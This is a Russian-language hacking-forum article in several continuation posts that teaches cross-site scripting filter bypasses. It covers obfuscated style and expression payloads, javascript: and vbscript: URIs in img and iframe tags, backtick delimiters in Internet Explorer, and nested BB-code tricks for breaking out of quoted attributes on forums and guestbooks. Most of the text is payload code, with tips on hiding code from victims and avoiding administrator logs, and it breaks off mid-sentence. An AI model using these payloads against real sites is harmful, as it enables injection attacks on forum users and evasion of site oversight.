Всем привульки, с Новым Годом ибо Я! Слушая непрестанное прошение от пользователей античата в моей холодной, скромной аськи написать побольше статей, Я решил все таки так и сделать - написать ещё одну Гениальную статью. Прочитав свои недавно написанные статьи, Я пришёл к выводу, что они были не столько статьи, сколько уже готовые варианты, и мне захотелось написать настоящую статью, описав все более менее подробно, как работают вещи и почему. Пришел Я к этому выводу из-за того, что увидел, что когда Я элементарным языком объясняю и показываю мои Гениальнейшие нахождения, то никто толком ничего и не понимает. Ну понятно почему, ведь сейчас из-за меня пошел ...хлынул лучше скажу народ, который мало что где читал. Эта статья долгая, и почерпать могут из неё как и новички, так и Алгол. Ну начнемс иМхо.... В одной из моих статей, Я с вами рассматривал разновидные варианты обхода фильтров в параметрах атрибута style. Напомним себе материал той статьи, так как этот материал нам еще пригодится. HTML: <html><body><a href=www. style="back\g\r\o\u\nd:\u\r\l\(\javasc\r\i\p\t\:a\le\r\t\(\'\w\j\'\)\)" >wj<a></body></html> HTML: <html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**/'\w\j\'/**/\/**/)/**/\/**/)" >wj<a></body></html> HTML: <html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/)" >wj<a></body></html> HTML: <html><body><a href=www. style=/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html> HTML: <html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html> HTML: <html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*/'\w\j\'/*=*=/=\=/=*=*/)/*=*=/=\=/=*=*/) >wj<a></body></html> Тут показывается, как ИЕ славно убирает всякие ошибки - до выполнения кода. Убирает ИЕ ошибки в параметрах как Я уже сказал раньше, ДО выполнения....и это мы с вами еще рассмотрим иМхо. Как уже поняли, Я показывал новые обходы фильтров в параметре Style. А теперь Я бы хотел объяснить почему это все в параметре style работает, а так же, показать методы обхода фильтров и в самих атрибутах. Ну начнёмс иМхо заново..... До атрибута style, можно поставить иМхо, что угодно... Будет работать и так, HTML: <html><body> <WhiteJordan/style=background:url(javascript:alert(/wj/))> </body></html> И да, даже вот так, HTML: <html><body> <WhiteJordan/**/style=background:url(javascript:alert(/wj/))> </body></html> Да блин и вот так! HTML: <html><body> <WhiteJordan/*/style=background:url(javascript:alert(/wj/))> </body></html> Да [мат]! Так ТОЖЕ будет работать [мат]! HTML: <html><body> <White Jordan/*/style=background:url(javascript:alert(/wj/))> </body></html> Но проблема иногда бываем из-за того, что сам атрибут, "style", иногда просто фильтруется, а иногда к нему прибавляется ещё и крестик какой нить, (X) в этом случаи, это можно обойти вот так, HTML: <html><body> <WhiteJordan/StYlE =background:url(javascript:alert(/wj/))> </body></html> Где буквы S, Y и E, написаны большими буквами, а после большой буковки E, до знака равенства, (=) идут обычные пробелы. И естественно сами пробелы, можно тоже заменить ещё и табуляциями....примерно вот так, HTML: <html><body> <WhiteJordan/StYlE =background:url(javascript:alert(/wj/))> </body></html> Тоже самое, можно употребить и для тега <img src=...>, HTML: <html><body> <img/src =javascript:alert(/wj/)> </body></html> Или HTML: <html><body> <img src =javascript:alert(/wj/)> </body></html> и HTML: <html><body> <img / src =javascript:alert(/wj/)> </body></html> Тут использовались табуляции ( ), в совокупности со слешом. (/) Должен ещё добавить, что в середине атрибутов тега можно вписывать - что угодно...к примеру: HTML: <html><body> <img White Jordan src =javascript:alert(/wj/)> </body></html> Или вообще это все написать вот так, HTML: <html><body> <img/WhiteJordan/src=javascript:alert(/wj/)> </body></html> Атрибут img, можно и не сокращать: HTML: <html><body> <image/White/Jordan/src=javascript:alert(/wj/)> </body></html> Чуток познакомлю всех с материалом на разброс, на всякий пожарный если кто не знал или ещё что-нить такое.. В языке VbScript, в скобках, можно ТОЛЬКО вставить двойные кавычки, что-бы получить видное для глаз сообщение в коробке алёрта. То есть вот так, HTML: <html><body> <img src=vbscript:alert(/wj/)> </body></html> Или так, HTML: <html><body> <img src=vbscript:alert(`wj`)> </body></html> Или вот так, HTML: <html><body> <img src=vbscript:alert('wj')> </body></html> Работать у вас не хера не будет. Будет работать только вот так: HTML: <html><body> <img src=vbscript:alert("wj")> </body></html> В двух словах, если вы хотите в параметре (внутренности) атрибута тега использовать VbScript, а сам параметр заключить в кавычки, то для работоспособности вы должны будите написать вот так: HTML: <html><body> <img src='vbscript:alert("wj")'> </body></html> Или же так. HTML: <html><body> <img src=`vbscript:alert("wj")`> </body></html> Вот так у вас, HTML: <html><body> <img src="vbscript:alert("wj")"> </body></html> Работать не будет. До функции "expression", можно вставить - что угодно. Хоть так, ИЕ по барану: HTML: <html><body> <span style="WhiteJordan:expression(eval(window.alert(/wj/)))">wj</span> </body></html> Функцию "eval" писать тоже не обязательно, а функцию, "window.alert", можно сократить до "alert": HTML: <html><body> <span style="WhiteJordan:expression(alert(/wj/))">wj</span> </body></html> Или же так, создать свой собственный атрибут и назвать его, "span2", после чего его параметр будет обрабатываться JavaScript`ом. HTML: <html><body> <span style="WhiteJordan:expression(javascript(eval(span2)));" span2='alert(/wj2/);span2=null;'></span></body></html> Можно конечно и так, HTML: <html><body> <span style='background:url(javascript:eval(window.alert("wj")))'> </body></html> Чуток покажу вам браузеро не зависимые коды, то есть коды, которые работает во всех браузерах. HTML: <html><body> <iframe src="javascript:eval(this.wj); wj=this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'"> </body></html> HTML: <html><body> <iframe src="javascript:eval(this.wj); wj=this.wj='<script>alert(/wj/);</script>'"> </body></html> HTML: <html><body><iframe src=javascript:alert(/wj/) style='display:none;'></body></html> HTML: <html><body> <iframe src='javascript:eval(this.wj1); wj1=alert(/wj2/);' style='display:none'> </body></html> Кратко дам описание, Потому что iframe src после знака равенства настроен на то, чтобы получать источник/адрес, то используя это, мы зададим ему вместо источника - JavaScript. Само слово, "src" сокращенна от английского слова, "source" что в переводе на русский язык означает = Источник. Функция, "eval", сокращенна от Английского слова, "Evaluate", и в переводе с Английского слова на русский, (В нашем случае) означает = "Обрабатывать, обработать". Английское слово, "This", означает в переводе на русский язык = "Это, вот это". А что именно, "это"? В данном случае мы указываем свой собственный атрибут, который мы наименовали wj1, и указали JavaScript`у, чтобы он наш новый атрибут - обработал. Атрибут и его параметр, style=display:none; вписан чтобы спрятать наш код от глаз нашей жертвы, и приведенный код, не имеет браузер зависимость и работает во всех трех популярных браузерах ИЕ, Фаерфокс и Опера. (С лева на права по проценту ихнего использования.) Хочу вернутся чуток к атрибуту style. Как Я уже говорил, до атрибута, "style", можно писать что угодно, лишь бы после него шёл знак равенства. (=) В других словах, совсем не обязательно писать <span style=...> - для его работоспособности. Причем сам атрибут, "style", можно вписывать и с любыми другими атрибутами, а он все равно будет работать. К примеру, возьмем тег ссылки, HTML: <a href=http://www.wj.com>http://www.wj.com</a> И впишем туда наш атрибут, "style", HTML: <a href=http://www.wj.com style=background:url(javascript:alert(/wj/))>http://www.wj.com</a> Это все хорошо....но если Я теперь пойду дальше, то те люди которые не имеют знаний - ничего не поймут. Объясню что и как, используя тег ссылки, для краткого объяснения. HTML: <a href=http://www.wj.com>wj1</a> С начало идет левая угловая скобка, (<) открывающая тег, потом идет атрибут тега, (a href) потом идет знак равенства, (=) который говорит, что атрибут закончился и начался параметр атрибута, сразу после знака равенства, (=) идет параметр атрибута, (http://www.wj.com) потом идет правая закрывающая угловая скобка, (>) после нее идёт наше видимое наименование нашего тега, (wj1) а чтобы указать где наше именование кончается, мы указываем атрибут </a> и у нас получается работоспособный тег ссылки. После клика на эту ссылку, параметр атрибута образно говоря, вставится в поле адреса в верхнею часть нашего браузера, и мы на лыжах поедем по этому адресу. Давайте посмотрим, что случится если мы в параметре атрибута - впишем пробел. HTML: <a href=http://www.wj .com>http://www.wj.com</a> Или табуляцию... HTML: <a href=http://www.wj .com>http://www.wj.com</a> А вот что будет...слово, ".com", которое до этого у нас было параметром тега, теперь из-за пробела ( ) или табуляции, ( ) стало атрибутом и теперь ждет, чтобы мы ей указали знак равенства, (=) чтобы начать свой собственный параметр. А есть ли какой нибудь способ, чтобы в параметре атрибута указать пробел или табуляцию, и не сделать все, что идет после пробела и табуляции - атрибутом?... Ответ = Да, есть. Для этого в параметр тега сразу после знака равенства, вставляется одна из двух видов кавычек - одинарная, (') или двойная. (") Чуток отвлекусь и расскажу вам кратко о кавычках.... Легальных, работоспособных кавычек в языке JavaScript - всего две. Одинарная, (') и двойная. (") Многие разработчики браузеров считают, что должна существовать только одна кавычка - двойная. Одинарную многие разработчики браузеров как легальную в языке JavaScript и в других языках - признавать не хотят. (Хоть про JavaScript чуток не в тему, однако не беда если напомню иМхо) Написав наш код через двойные кавычки, HTML: <a href="http://www.wj.com">http://www.wj.com</a> Мы тем самом, указали атрибуту, что все, что будет идти в середине двойных кавычек - будет параметром атрибута тега и будет параметром атрибута тега в не зависимости если это пробел, табуляция, или даже левая или правая угловая скобка. То есть мы теперь смело можем вписывать в параметр тега пробел, ( ) HTML: <a href="http://www.wj .com">http://www.wj.com</a> Табуляцию ( ) HTML: <a href="http://www.wj .com">http://www.wj.com</a> Одинарную кавычку (') HTML: <a href="http://www.wj'.com">http://www.wj.com</a> Угловые скобки, HTML: <a href="http://www.wj <script>alert('wj')</script>.com">http://www.wj.com</a> И при этом все это, будет в параметрах нашего тега. А что будет, если мы в наш параметр, который теперь заключен в двойные кавычки, впишем ещё одну двойную кавычку по середине?.... HTML: <a href="http://www.wj".com">http://www.wj.com</a> А будет следующие....из-за того, что мы теперь закрыли нашей двойной кавычкой параметр атрибута вставив её в середину нашего параметра, из-за этого, наше слово, ".com", которое у нас раньше было параметром - стало атрибутом. Ещё один момент, когда параметр заключен в кавычки, то не обязательно после кавычек вписывать пробел или табуляцию, чтобы иметь рабочий атрибут. То есть вполне легально написать так: HTML: <html><body> <a href="http://www.wj"style='background:url(javascript:alert(/wj/))'.com">http://www.wj.com</a></body></html> И иметь работоспособный код. Не обязательно до атрибута, "style", писать пробел. Теперь давайте рассмотрим альтернативу тегов, которые обычно называются ББ кодами и используются в e-mail`ах, в форумах, в чатах, в гостевых книгах и в других местах - как альтернативы. В целях безопасности а главное удобности, люди пришли к выводу, что не обязательно пользователю вписывать HTML: <a href="http://www.wj.com">http://www.wj.com</a> Чтобы у него получилась рабочая ссылка, когда ему просто можно написать: HTML: [url=http://www.wj.com]http://www.wj.com[/url] Послать это со своим сообщением, а система, обработавши это, преобразует эти ББ коды в следующий результат: HTML: <a href="http://www.wj.com">http://www.wj.com</a> Давайте сравним их... =))) HTML: <a href="http://www.wj.com">http://www.wj.com</a> HTML: [url=http://www.wj.com]http://www.wj.com[/url] Лепота....=))))) При этом легко понять, что если мы впишем в наши ББ коды двойную кавычку, HTML: [url=http://www.wj".com]http://www.wj.com[/url] То эта безобидная кавычка, может закрыть параметр, а нам дать возможность вписать свой собственный атрибут для атаки. HTML: <a href="http://www.wj".com">http://www.wj.com</a> Чтобы такого не было, люди придумали вставлять фильтры, которые бы просканивали ввод пользователя и нашедши запретные объекты, или полностью бы удаляли эти запретные объекты, или изменяли бы эти объекты - на ихние зашифрованные альтернативы. То есть сейчас почти везде, во всех форумах, чатах и гостевых книгах, написав: HTML: [url=http://www.wj".com]http://www.wj.com[/url] Мы бы получили следующий результат: HTML: <a href="http://www.wjFILTERED.com">http://www.wj.com</a> И тем самым, выйти из параметра атрибута - у нас бы не получилось. А что если двойная кавычка НЕ отфильтрировалась....что вписывать тогда, чтобы совершить атаку? Есть такая вещь, по названию "Обратный Апостроф". (`) Он не является ограничителем строк в таких языках как JavaScript, VbScript, Jscript, CSS, и так далее, однако он как раз таки является ограничителем строк, в языках HTML и XHTML, но только в браузере ИЕ. (Среди Оперы, Фаерфокс и ИЕ,) Короче браузер ИЕ, признает одинарную кавычку, (') двойную кавычку (") и обратный апостроф (`) - как ограничителями строк в параметрах атрибутов только в языках HTML и XHTML. Другие браузера как Опера и Фаерфокс - признают только одинарную и двойную кавычку в языках HTML и XHTML, как границами параметров. Как все уже знаем, браузер ИЕ, может убирать не смертельные ошибки программиста....приведу несколько примеров: HTML: <img src="java script:alert(/wj/)"> Что сделает ИЕ в этом случае? Правильно! Он ее уберет...как проверить, что он ее именно убирает? Пишем вот так в доказательство вам: HTML: <img src="javascript:alert( /wj/ )"> Выскочит алёрт. HTML: <img src="javascript:alert(/ wj /)"> Выскочит алёрт. HTML: <img src="javascript:alert(/ /)"> Алерт НЕ выскочит, потому что табуляция будет вырезана браузером ИЕ и в итоге у нас получится равно сильно следующему скрипту: HTML: <img src="javascript:alert(//)"> То есть два не одинаково написанные скрипты: HTML: <img src="javascript:alert(/ /)"> И HTML: <img src="javascript:alert(//)"> - Выполнятся одинаково. Являются ли табуляции в этих случаях ошибками? Да! Убирают ли другие браузеры эти ошибки как это делает браузер ИЕ? лоооол Да! Хоть другие браузера как Фаерфокс и Опера этому менее и научены, (ИЕ браузер делает это лучших всех остальных браузеров,) но Фаерфокс и Опера работают по такому же принципу. И это совсем не значит, что ИЕ является из-за этого "хуже" чем Фаерфокс или Опера или другие браузеры. Просто из-за того, что Микрасофт хотел, чтобы его браузер был бы самым распространенным по использованию, Микрасофт именно по этой причине и создал ИЕ так - как он собственно и создан. И речь совсем не идёт о глюках или ошибках ИЕ, а вообще в каком браузере их нет? И кстати в плане того, чтобы ИЕ стал наибольше использован, то в этом плане, Микрасофт свою цель - достиг. Фаерфокс и Опера однако, придерживаются более жёсткой системе и менее научены угадывать или убирать ошибки программистов во время обрабатывания определенного языка. А теперь мне придется закончить писать и ответить на свою статью, потому что статью у меня получилась очень долгая, а лимит здесь на форуме состоит из 20000 символов.
Продолжение А теперь продолжим нашу статью.... Вписываем следующий код, после того, как нам удалось выйти из параметра атрибута и создать наш собственный атрибут. HTML: <a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a> Взгляните на самый первый по счету обратный апостроф.... Он у нас теперь стал атрибутом...после него идёт знак равенства, который как Я уже объяснял закрывает атрибут и начинает параметр атрибута...после знака равенства, идёт второй обратный апостроф, Который теперь возьмет все, что после него идет в параметр... Потом следует ещё один обратный апостроф, который закрывает наш параметр, И наконец-то, следует наш атрибут, "style", со своим параметром, Который тоже заключен в обратные апострофы, Которые ИЕ воспринимает как ограничителями параметров. И конечно то же самое, можно и написать с одинарной кавычкой. (') А зачем мы это все написали? Ведь не проще ли написать так и все дела?.... Ответ = Конечно проще! Но проблема в том, что в ББ кодах, ключевые слова как JavaScript и другие, очень часто фильтруется...а в большинстве случаев за пределами ББ кодов - этой фильтрации нет. Так как обратный апостроф в параметрах является ограничителем в HTML и XHTML только в браузере ИЕ, то в браузере Фаерфокс и Опера, будет выглядеть абракадабра, которая нам сможет привлечь не нужное внимание. Для этого можно написать код вот так и решить эту проблему. Это спрячет наш код от глаз любого пользователя который не использует ИЕ, потому что в большинстве случаев одинарная кавычка и обратный апостроф - не фильтруются. Фильтруется только двойная кавычка, так как писатели фильтров ББ кодов наивно думают, что отфильтровав двойную кавычку, пользователь не сможет внедрить зло-целеустремленный код. В каком то случае - они правы....если параметр атрибута заключен в определенную кавычку, то хоть ты вписывай в этот параметр угловые скобки, они всё ровно сделать ничего плохого не смогут......а так ли это? Теоретически = да, это так...ЕСЛИ все кавычки отфильтрованы. О чем Я? О том, что если параметр ББ кода заключен в двойные кавычки а сама двойная кавычка которая нужна, чтобы этот параметр своевольно закрыть; чтобы вписывать после этого заключенного параметра в двойные кавычки свой собственный атрибут,.....то это ещё не беда. Ведь можно использовать двойные кавычки других ББ кодов, которые заключают параметры этих ББ кодов в кавычки, и закрывать первый параметр определенного кода, кавычками второго параметра, который для безопасности - заключен в кавычки. Не поняли??? Сейчас поймете! В ББ годах, есть два способа писать ссылку...вообще то есть ещё и третий способ, который работает когда на форуме Magic Links поставлены на "ON". Если напишем на форуме И до и после этой ссылки будет существовать пробел, то она автоматом об-работается ББ кодом и превратится в рабочую ссылку... Но вернемся.. Вариант один: HTML: [url=http://www.wj.com]http://www.wj.com[/url] И вариант два, HTML: [url]http://www.wj.com[/url] Результат - один и тот же: HTML: <a href="http://www.wj.com">http://www.wj.com</a> В первом случаи, тег: Нужен для того, чтобы у нас был выбор вписывать в имя нашей ссылки - что угодно. Если ещё не заметили или кто не знал, в имя ссылки, Можно вписывать, что угодно, не изменяя тем самым параметр атрибута... HTML: <a href="http://www.wj.com">что угодно</a> Если вообще ничего не вписать, HTML: <a href="http://www.wj.com"></a> То ссылка не отобразится. Вернемся к нашей теме... Что будет, если кавычкой которая начинает определенный параметр ББ кода, что будет, если мы ей закроем параметр другого ББ кода примерно вот так: HTML: [url=http://www.wj1[url]http://www.wj2.com[/url].com]http://www.wj3.com[/url] HTML: <a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a> От сюда и появилась идея вложенных и спаренных тегов. HTML: <a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a> Обратите внимание, что Который должен был до этого быть параметром атрибута, сам стал атрибутом. Стало теперь внутри параметра, а двойная кавычка идущая после, Теперь закрыла параметр первого атрибута. Мы только что рухнули структуру тегов и у нас получился взлом. Теперь чтобы закрыть атрибут Который должен бы быть параметром а стал атрибутом и написать наш собственный параметр - нам нужно вписать знак равенства. (=) HTML: [url=http://www.wj1[url]http://www.wj2=.com[/url].com]http://www.wj3.com[/url] В результат получим следующие: HTML: <a href="http://www.wj1<a href="http://www.wj2=.com">http://www.wj2=.com</a>.com">http://www.wj3.com</a> Слово, ".com", теперь из-за знака равенства, стало параметром атрибута http://www.wj2 Добавляем теперь слеш (/) перед нашим атрибутом http://www.wj2 а после слеша, напишем атрибут, "style", и знак равенства. HTML: [url=http://www.wj1[url]http://www.wj2/style='background:url(javascript:alert(/wj/))'.com[/url].com]http://www.wj3.com[/url] Так это все будет выглядеть: HTML: <a href="http://www.wj1<a href="http://www.wj2/style='background:url(javascript:alert(/wj/))'.com">http://www.wj2/style='background:url(javascript:alert(/wj/))'.com</a>.com">http://www.wj3.com</a> А теперь для разнообразия, отдыха и просто потому что это интересно читать - вставлю маленькую историю. Когда Я проводил дискуссию с моим элитным другом JazzzSummerMan, который первым был кто был удостоен прочитать сырую статью века, то разговор зашёл о слешах, которые вставлены по середине атрибутов. С его разрешением, приведу часть лога из наших асек, чтобы такое мнение больше не поднималось: Ну так вот, подумав о нашем разговоре где мы разговаривали о статье Алгола и zFailure`a, http://www.antichat.ru/crackchat/HTML/ Я заметил, что Я описывал чуток другое.. HTML: <image/src="1.png"/alt="Подсказка"/border="0"> Обратим внимание на image/src что мы тут видим? Мы видим, что братскии так скажем атрибуты, могут быть разделены слешом, или пробелом. Я же хотел показать, что сам атрибут style не нуждается в этом и может работать сам по себе вне зависимости - что идет до него. То есть ему совсем по барану если ДАЖЕ атрибут, который до него разделен слешом или пробелом - правильный или не правильный. Все, что идет ниже в качестве примера, для ИЕ, как то до Питерской лампочки...код все равно будет работать: HTML: <image style=background:url(javascript:alert(/wj/))> HTML: <image src/style=background:url(javascript:alert(/wj/))> Или возьмем наш выше приведенный пример, который мы использовали в ББ кодах: Все, что отмечено черным цветом - является атрибутами. Синим цветом отмечены параметры этих атрибутов. Я хочу привлечь ваше внимание на строку, http://www.wj2/style. Эта вся строка, является атрибутом...до атрибута, "style", как вы сами видите, стоит не существующий в природе атрибут, http://www.wj2, но если поставить слеш после этого не существующего атрибута, то сам атрибут, "style", и его параметр - будут работают. Этого объяснения в статье Algol`a и zFailure`a - нет. Более того, на всем античате этого тоже нет, так как это мне показал мой хороший друг xSpider, которого античат бацнул толком из-за того, что были подозрения что Я - это он. Чуток отдохнули? За работу! Читаем дальше! Если вы взломщики или просто совестные люди, которые хотели бы защитить свой форум, гостевую книгу или чат от атак XSS бессовестных взломщиков, то не нужно это делать как на http://forum.web-hack.ru... Ну так вот, не нужно так делать, потому что можно теперь просто напросто использовать все мои комбинации, которыми Я пользовался и которые Я разработал, можно их использовать, чтобы предотвратить взлом через XSS и при этом, не отключать ни единого тега. Выкладываю вам все мои комбинации ОСНОВНЫХ тегов, так как далее идущие теги после основных тегов, в основном исключительно-действующие только для определенной версии. (То есть сам-описные) Если ни одна из этих моих комбинаций не работает, то можете спать спокойно. Ваш форум, чат или гостевая книга - хорошо защищены. Я один умнее ВСЕХ писателей фильтров, потому что писать фильтры, может только тот человек, который понимает как их обходить. Писатели движков форумов, чатов и гостевых книг - не имеют РЕАЛЬНОГО опыта который есть у меня. У них одни теории иМхо, а вообще Я Гения, вы это уже знаете. Лучше всего, если вы что то ломаете, то смотреть результат в пред-просмотре сообщения/приватного сообщения, и желательно через браузер, "Firefox", так как только в этом браузере, встроена опция подсветника синтаксиса, которую если вы хотите, то можете отключить, ну допустим вот так: Откройте браузер Фаерфокс, нажмите на правую кнопку мышки, выберите опцию "просмотр исходного кода страницы" наверху исходного кода страницы, вы увидите "Файл, Правка, Вид" нажмите левой кнопки мышки на значение "Вид" и уберите галку с "Подсветка синтаксиса". Если эта опции включена, то в исходном коде страницы, атрибуты и параметры, будут показываться разными цветами. Пошлите дальше... Если пред-просмотр отсутствует, то советую самому себе посылать приватные сообщения. Это все делается из-за того, чтобы не оставить лог Администрации, так как ДАЖЕ если вы сотрете свою мессагу на форуме или отредактируете её, то лог все ровно останется и видеть этот лог сможет только Администратор. Этому Я научился как говорится..."The hard way" +) Вынужден опять остановится, так как опять лимит на форуме.
Продолжение... Для начала, посмотрим какие теги работают, заключены ли параметры тегов в одинарную или двойную кавычку, (Или в обратный апостроф, хотя Я никогда не видел, чтобы параметр был заключен в обратный апостроф.) Если параметр не заключен в кавычку, то взлом считать можно законченным при условии, что мы можем добавить пробел или табуляцию. (Или что то в этом роде, так как есть и другие похожие вещи) HTML: [url=http://www.wj.com]http://www.wj.com[/url] [url]http://www.wj.com[/url] [[email protected]][email protected][/email] [email][email protected][/email] [img]http://www.wj.gif[/img] [font=arial]wj[/font] [color=red]wj[/color] [size=+1]wj[/size] И так, выбираем те теги, которые работают и Идем дальше. Мануально сканим наши теги, на все три вида кавычек. HTML: [url=http://www.wj"'`.com]http://www.wj.com[/url] [url]http://www.wj"'`.com[/url] [email=wj@wj"'`.com][email protected][/email] [email]wj@wj"'`.com[/email] [img]http://www.wj"'`.gif[/img] [font=arial"'`]wj[/font] [color=red"'`]wj[/color] [size=+1"'`]wj[/size] И смаилики, HTML: [url=http://www.wj.:).com]http://www.wj.com[/url] [url]http://www.wj.:).com[/url] [email=wj@wj.:).com][email protected][/email] [email]wj@wj.:).com[/email] [img]http://www.wj.:).gif[/img] [font=arial.:).]wj[/font] [color=red.:).]wj[/color] [size=+1.:).]wj[/size] 99.9% писателей фильтров, о смаиликах забывают. Хороший этому пример был такой профессиональный портал как http://www.securitylab.ru (Пассивная уязвимость уже не работает) Не забудьте, что до, и после смаилика, должна стоять точка для его работоспособности. HTML: .:). Теперь пошлите сканить каждый тег, для начала самим собою, а потом и другими рабочими тегами. То есть тег, которым мы сканим другие теги вставляя его в них, нужно сначала засунуть в самого себя. А почему бы не просканить только одним тегом? Зачем сканить всеми? Потому что теги парсятся не одновременно, а имеют свою последовательность; что резко влияет на результат. Процитирую Алгола,
Продолжение... Теперь тег HTML: [img]http://www.wj.gif[/img] HTML: [img]http://www.wj[url=http://www.wj.com]http://www.wj.com[/url].gif[/img] [img]http://www.wj[url]http://www.wj.com[/url].gif[/img] [img]http://www.wj[[email protected]][email protected][/email].gif[/img] [img]http://www.wj[email][email protected][/email].gif[/img] [img]http://www.wj[img]http://www.wj.gif[/img].gif[/img] [img]http://www.wj[font=arial]wj[/font].gif[/img] [img]http://www.wj[color=red]wj[/color].gif[/img] [img]http://www.wj[size=+1]wj[/size].gif[/img] Теперь тег HTML: [font=arial]wj[/font] HTML: [font=arial[url=http://www.wj.com]http://www.wj.com[/url]]wj[/font] [font=arial[url]http://www.wj.com[/url]]wj[/font] [font=arial[[email protected]][email protected][/email]]wj[/font] [font=arial[email][email protected][/email]]wj[/font] [font=arial[img]http://www.wj.gif[/img]]wj[/font] [font=arial[font=arial]wj[/font]]wj[/font] [font=arial[color=red]wj[/color]]wj[/font] [font=arial[size=+1]wj[/size]]wj[/font] Теперь тег HTML: [color=red]wj[/color] HTML: [color=red[url=http://www.wj.com]http://www.wj.com[/url]]wj[/color] [color=red[url]http://www.wj.com[/url]]wj[/color] [color=red[[email protected]][email protected][/email]]wj[/color] [color=red[email][email protected][/email]]wj[/color] [color=red[img]http://www.wj.gif[/img]]wj[/color] [color=red[font=arial]wj[/font]]wj[/color] [color=red[color=red]wj[/color]]wj[/color] [color=red[size=+1]wj[/size]]wj[/color] И наконец-то тег HTML: [size=+1]wj[/size] HTML: [size=+1[url=http://www.wj.com]http://www.wj.com[/url]]wj[/size] [size=+1[url]http://www.wj.com[/url]]wj[/size] [size=+1[[email protected]][email protected][/email]]wj[/size] [size=+1[email][email protected][/email]]wj[/size] [size=+1[img]http://www.wj.gif[/img]]wj[/size] [size=+1[font=arial]wj[/font]]wj[/size] [size=+1[color=red]wj[/color]]wj[/size] [size=+1[size=+1]wj[/size]]wj[/size] Если есть какие нибудь другие теги, которые тоже имеют параметры с кавычками, то также их обрабатываем. И конечно если все это не помогло, то читайте дальше.
Продолжение... Для тех, кто читает эту статью, посоветую прочесть статьи Алгола для того, чтобы имея уже первоначальные детские знания, можно было читать дальше иМхо. http://www.antichat.ru/crackchat/index.html Я хочу привлечь ваше внимание на следующие: Теперь прочтите что такое протокол, http://www.antichat.ru/crackchat/HTTP/http.html И конечно не мешало бы прочесть её целиком. Где мы остановились иМхо....а да! Ну так вот... Иногда, закрыть параметр одного тега, кавычкой другого параметра тега - невозможно из-за хорошей фильтрации. Что делать тогда? Есть такой вариант, который всегда забывается писателями фильтров из-за не понимания как в состоянии может работать JavaScript а главным образом - как работают браузеры и протоколы. (Они статью Алгола не читали) Для начала расскажу информацию на разброс.. Само слово, "Browser", это существительное, (Noun) что в переводе на русский язык означает - Просматриватель. Произошло это Английское слово нашего браузера, от его глагола, (verb) - To Browse. "To Browse", по Английски означает - Просматривать, просмотреть. HTML: <img src="http://www.wj.gif"> Если слова атрибутов написать не сокращенно, то мы получим "image source". "image" Это в переводе с Английского слова на Русский, означает - Изображение. Слово, "source", это переводится как - Источник. После статьи Алгола про протоколы, вам станет ясно, что если в параметр тега ссылки, HTML: <a href="http://www.wj.com">wj</a> Указать, Написав вот так. HTML: <a href="javascript:alert(/wj/)">wj1</a> То при клики юзера на имя ссылки, "wj", у юзера выскочит алёрт. Ну это при щелкании пользователя выскочит алёрт....а возможно ли это сделать так, чтобы это было автоматически вы меня спросите? =) Конечно можно Я отвечу =) ...просто тег ссылки, заменим на тег картинки. HTML: <img src="javascript:window.alert(/wj/)"> Или чуток по короче: HTML: <img src="javascript:alert(/wj/)"> Ну и сейчас хлынут массовые вопросы типа: А почему строка HTML: <img src="javascript:alert(/wj/)"> работает только в ИЕ и в Опере? А вообще почему легендарный так сказать код Алгола, не работает даже в Опере?!.... Ответ, Работает во всех браузерах, но об этом чуток потом. А вообще кто вам всем сказал такие глупости? Да и вообще Я удивляюсь, что за 5 лет, на античате, НИКТО не додумался дописать Алголовский код ну, ХОТЯ-БЫ для Оперы! Очевидно, что никто ничего не понимал, а просто делал copy/paste. Ну начну с самого начала что-ли тогда..... Сам код, HTML: <img src="javascript:alert(/wj/)"> Работает не только в ИЕ и в Опере, но в и в браузере Фаерфокс, однако просто напросто происходит фильтрация и пользователь мануально должен кликнуть на не отобразившуюся картинку, чтобы у него выскочил алерт. Приведу кусок объяснения JavaScript консоль, которая находится в разделе "Инструменты". (В самом верху браузера) Перевожу, Хотя HTML: <a href="javascript:alert(/wj/)">wj</a> При клики пользователя на имя ссылки, алерт будет работать во всех трех ведущих браузерах. ИЕ, Опера и Фаерфокс. Или вот ещё одна цитата, Так вот, в Фаефокс, уже встроена маленькая защита от таких видов атак. В ИЕ кстати, она теперь тоже есть, но только работает на localhost. Как её отключить? Описываю по Английски, Идете в раздел, "Tools", потом в раздел, "Advanced", и в самом низу, вы увидите, "Security", теперь вы увидите "Allow active content to run in files on My Computer" поставьте сюда галку. Если она у вас отключена по умолчанию, и вы её включите, то почти все автоматические скрипты теперь будут браузером ИЕ - блокироваться. (Однако только на localhost!) В фаерфоксе как уже сказал, этот метод защиты стоит по умолчании и его даже отключить нельзя. А теперь продолжим нашу статью. Уже понятно, что если в ББ кодах картинки тега, вписать 